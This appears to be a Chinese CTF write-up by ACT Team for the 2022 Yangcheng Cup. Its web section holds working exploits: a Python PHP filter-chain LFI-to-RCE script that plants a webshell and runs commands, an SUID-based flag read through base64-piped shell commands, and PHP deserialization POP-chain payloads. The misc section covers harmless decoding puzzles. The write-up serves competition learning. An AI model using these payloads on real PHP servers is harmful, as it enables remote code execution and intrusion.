Web
1.rce_me
题目直接给出了源代码
<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
$blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
foreach($blacklist as $blackword){
if(stristr($var, $blackword)) return False;
}
return True;
}
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}
看到代码中include $file;
,就想起了hxp 的一道题Solving “includer’s revenge” from hxp ctf 2021 without controlling any files,有师傅也给出了具体的详细分析,见hxp CTF 2021 – The End Of LFI?
但是题目环境没有忽略报错,所以直接打文章中的exp,有两个问题:
1.代码中过滤了_
,文章中的exp payload带4
(对应的转换语句带_
),因此攻击的payload最终会有_
...
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
# 有_
....
2.由于include php代码
,且环境没有忽略报错,那么我们就应该对后面乱码进行注释。
# <?=`$_GET[0]`;;/*
base64_payload = "PD89YCRfR0VUWzBdYDs7Lyo"
上述代码解决了什么问题呢?可以简单理解为:
-
避免了 4
,因为他对应的转换带_
-
注释了后面形成乱码的PHP代码
原文中由于没有Lyo
这三个字符对应的形成转换语句,所以借助PHP_INCLUDE_TO_SHELL_CHAR_DICT这个项目,项目将单字母数字基本都fuzz到了。根据以上我们可构造rce payload
import requests
url = "http://80.endpoint-f0cb7de3c6d445ca9916505908395850.dasc.buuoj.cn:81/"
file_to_use = "/etc/passwd"
command = "ls /"
#<?=`$_GET[0]`;;/*
base64_payload = "PD89YCRfR0VUWzBdYDs7Lyo"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
#print(final_payload)
r = requests.get(url, params={
"0": command,
"file": final_payload
})
print(r.text)
但这题后面还得绕,默认是www-data
权限,首先想到的就是SUID提权
/?file=final_payload&0=find+/+-user+root+-perm+-4000+-print
/bin/su
/bin/umount
/bin/mount
/bin/date # 可读文件
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
注:final_payload是上面python脚本生成的
因为脚本过滤了>
等特殊字符,所以我们通过base64编码绕过
这里要绕
>
等特殊字符的原因是,date -f /flag
提取flag是通过标准错误输出 -> 2
打印的,请求响应不显示。所以我们错误输出转标准输出,既2>&1
ouo@GOTA:~$ echo "date -f /flag 2>&1" | base64
ZGF0ZSAtZiAvZmxhZyAyPiYxCg==
ouo@GOTA:~$ echo ZGF0ZSAtZiAvZmxhZyAyPiYxCg==|base64 -d
date -f /flag 2>&1
ouo@GOTA:~$ echo ZGF0ZSAtZiAvZmxhZyAyPiYxCg==|base64 -d | sh
date: invalid date ‘Tao By ACT.’
ouo@GOTA:~$
有关SUID读取文件小技巧可看:GTFOBins
综上所述,最终获取flag的payload如下:
/?file=final_payload&0=echo+ZGF0ZSAtZiAvZmxhZyAyPiYxCg==|base64+-d|sh
2.step_by_step-v3
存在反序列化
入口在cheng::__wakeup()
$this->c1 指向 new bei() 可以调用bei类的__set()魔术方法
$this->b1 指向new yang() 可以调用yang类的__toString()魔术方法
$this->y1可控,这里可以执行phpinfo函数
构造exp如下
<?php
error_reporting("0");
class cheng
{
public $c1;
public function __construct(){
$this->c1 = new bei();
}
}
class bei
{
public $b1;
public $b2;
public function __construct(){
$this->b1 = new yang();
}
}
class yang{
public $y1;
public $y2;
public function __construct(){
$this->y1 = "phpinfo";
}
}
$o = new cheng();
echo serialize($o);
?>
将exp生成的payload放入POST传输,在phpinfo里面可以看到flag
3.Safepop
简单的pop链构造
Test::getFlag()->Fun::__call(绕__wakeup) -> A::__get() -> B::__destruct()
# A->a = Fun()
# B->a = A()
# __call 通过call_user_func_array调用数组传参 -> Fun->func=[new Test,'getFlag']
<?php
class Fun{
private $func;
public function __construct(){
$this->func = [new Test,'getFlag']; // or $this->func = "Test::getFlag"
}
}
class Test{
public function getFlag(){
}
}
class A{
public $a;
}
class B{
public $p;
}
$T = new Test();
$F = new Fun();
$a = new A();
$b = new B();
$a->a = $F;
$b->a = $a;
$aser = serialize($b);
$ser = str_replace('"Fun":1:','"Fun":2:',$aser);
echo urlencode($ser);
后面发现除了常规思路,还有别的。而且是原题?,具体见文章:利用PHP垃圾回收机制构造POP链 ?
文章中另一种思路是利用垃圾回收机制
# chao code.
<?php
class B{
public $p;
public function __construct(){
$this->a = new A();
}
}
class A{
public $a;
public function __construct(){
$this->a = new Fun();
}
}
class Fun{
private $func = 'call_user_func_array';
public function __construct()
{
$this->func ="Test::getFlag";
}
}
$o = array(new B, new B);
$tmp = "i:0;".serialize(new B);
$a = serialize($o);
$z = str_replace($tmp,$tmp." ",$a);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$z));
更多详情参考如下:
如何攻破PHP的垃圾回收和反序列化机制(上)
如何攻破PHP的垃圾回收和反序列化机制(下)
Misc
签个到
Ciphey
Ciphey安装报错解决
⚡ Automatically decrypt encryptions without knowing the key or cipher, decode encodings, and crack hashes ⚡
Tao in ~Downloads λ ciphey.exe -f .26.txt -C regex -p regex.regex=flag
╭────────────────────────────────────────────────────────────╮
│ Formats used: │
│ caesar: │
│ Key: 13 │
│ base32 │
│ utf8Plaintext: "flag{5dcf3d3407891ba725ffd13224de5435}" │
╰────────────────────────────────────────────────────────────╯
where_is_secret
ciphey.exe -f .vig.txt
# 跑了半个小时,发现key->gwhtgwht,还有个密码,但密码不对
two years later……
尝试使用key->gwht
, 维吉尼亚解密
哎哎哎,就是玩。猜的很开心?
解压出bmp后,根据题目给的hint,在网上找到解密脚本(图片藏小说。。。)
https://blog.csdn.net/weixin_54581900/article/details/122740876
运行解密后,文本是自卑与超越
发现小说中穿插着flag,two years later…
根据混杂穿插特征手动得到flag为h1d3_1n_th3_p1ctur3
End…
最后最后,如果你对CTF比赛也有兴趣,欢迎加入我们!!!
有意向的师傅可以公众号后台回复ACT
联系我们。
原文始发于微信公众号(ACT Team):2022年羊城杯网络安全大赛Writeup